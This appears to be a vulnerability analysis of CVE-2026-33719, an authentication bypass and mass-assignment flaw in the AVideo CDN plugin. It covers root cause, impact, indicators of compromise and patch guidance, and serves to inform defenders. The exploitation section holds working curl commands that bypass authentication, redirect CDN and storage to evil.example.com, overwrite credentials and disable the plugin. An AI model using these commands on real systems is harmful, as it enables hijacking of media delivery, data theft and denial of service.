CVE-2026-33719: 
PHP vulnerability analysis and mitigation

CVE-2026-33719 is an unauthenticated CDN configuration takeover vulnerability in WWBN AVideo, an open source video platform. It affects all versions up to and including 26.0 and was disclosed on March 23, 2026. The flaw resides in the CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php, which use key-based authentication with an empty string as the default key — causing the authentication check to be completely bypassed in the default post-installation state. It carries a CVSS v3.1 base score of 8.6 (High) (Github Advisory, GHSA Advisory).

The root cause is classified as CWE-306 (Missing Authentication for Critical Function). In plugin/CDN/CDN.php, the default key is initialized as an empty string ($obj->key = ""). The authentication logic in status.json.php (lines 21–26) only performs key comparison when !empty($obj->key) is true — but since the default key is "", !empty("") evaluates to false, and the entire comparison block is skipped. Any non-empty attacker-supplied key value therefore passes authentication. After the bypass, lines 28–31 perform unchecked mass-assignment via the par request parameter, allowing arbitrary properties (including CDN, storage_hostname, storage_username, storage_password, and key itself) to be set on the plugin data object and persisted to the database via setDataObject(). The disable.json.php endpoint contains the identical bypass logic and additionally deactivates the CDN plugin entirely (GHSA Advisory, Patch Commit).

An unauthenticated remote attacker can fully take over the CDN configuration of an affected AVideo instance, redirecting all video content delivery to an attacker-controlled server (enabling content injection or phishing), exfiltrating newly uploaded videos by pointing storage to an attacker-controlled host, and overwriting storage backend credentials (storage_hostname, storage_username, storage_password). By mass-assigning the key field, the attacker can lock legitimate administrators out of reconfiguring the CDN via these endpoints. Additionally, the attacker can disable the CDN plugin entirely via disable.json.php, causing a denial of service for media delivery. The vulnerability is exploitable on any AVideo instance where the CDN plugin is enabled but the key has not been manually configured — the default state immediately after enabling the plugin (GHSA Advisory).

A proof-of-concept exploit consisting of concrete curl commands is publicly available in the GitHub Security Advisory, demonstrating unauthenticated CDN configuration takeover, media redirection, credential hijacking, and plugin disablement (GHSA Advisory). The EPSS score is approximately 0.12–0.14%, placing it in the 34th percentile for exploitation probability within 30 days. No in-the-wild exploitation has been confirmed, and the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No specific threat actor attribution has been reported (Github Advisory).

1. Reconnaissance: Identify internet-facing AVideo instances (version ≤ 26.0) using search engines like Shodan or Censys, or by browsing to the target's AVideo installation. Confirm the CDN plugin is enabled by checking for the presence of plugin/CDN/status.json.php.
2. Probe for default key: Send a POST request with any non-empty key value and a benign par parameter to verify the bypass:

curl -s 'https://target/plugin/CDN/status.json.php' \
  -d 'key=anything' \
  -d 'par[CDN]=https://evil.example.com/'

A response containing "error":false confirms the authentication bypass is active. 3. Full CDN takeover: Issue a single request to redirect all media, enable attacker-controlled storage, overwrite storage credentials, and set a new key to lock out administrators:

curl -s 'https://target/plugin/CDN/status.json.php' \
  -d 'key=initial-bypass' \
  -d 'par[CDN]=https://evil.example.com/' \
  -d 'par[enable_storage]=1' \
  -d 'par[storage_hostname]=evil.example.com' \
  -d 'par[storage_username]=attacker' \
  -d 'par[storage_password]=controlled' \
  -d 'par[key]=attacker-secret-key'

4. Disable CDN (optional DoS): Use the newly set key to deactivate the CDN plugin entirely:

curl -s 'https://target/plugin/CDN/disable.json.php' \
  -d 'key=attacker-secret-key' \
  -d 'par[x]=1'

This deactivates the CDN plugin, disrupting media delivery for all users (GHSA Advisory).

• Network: Unexpected POST requests to /plugin/CDN/status.json.php or /plugin/CDN/disable.json.php from external/untrusted IP addresses; outbound connections from the AVideo server to unknown or attacker-controlled CDN/storage hosts.
• Logs: Web server access logs showing POST requests to the above endpoints with key= and par[ parameters from unauthenticated sessions; responses with "error":false to these requests from non-CDN-node IPs.
• Database/Configuration: CDN configuration records showing unexpected changes to CDN, storage_hostname, storage_username, storage_password, or key fields in the AVideo plugin data table; CDN plugin status changed to inactive without admin action.
• Application Behavior: All video content being served from an unexpected or unknown CDN domain; newly uploaded videos being sent to an unrecognized storage backend; administrators unable to reconfigure CDN via the plugin endpoints (key mismatch errors) (GHSA Advisory).

Apply the patch included in commit adeff0a31ba04a56f411eef256139fd7ed7d4310, which fixes the key validation logic by rejecting all requests when the CDN key is not configured, and uses constant-time comparison (hash_equals) to prevent timing attacks. The patch also restricts mass-assignment to a whitelist of safe CDN URL properties, preventing overwrite of credentials and the key itself (Patch Commit). If immediate patching is not possible, configure a strong, non-empty CDN authentication key to enable the key validation check, and restrict network access to plugin/CDN/status.json.php and plugin/CDN/disable.json.php to trusted CDN node IPs only via firewall or web server ACLs (GHSA Advisory).

The vulnerability was covered by The Hacker Wire, which published a technical write-up on the unauthenticated CDN configuration mass-assignment issue (The Hacker Wire). Community discussion was noted on Bluesky shortly after disclosure. No major vendor statements beyond the GitHub advisory from the AVideo maintainer (DanielnetoDotCom) have been issued.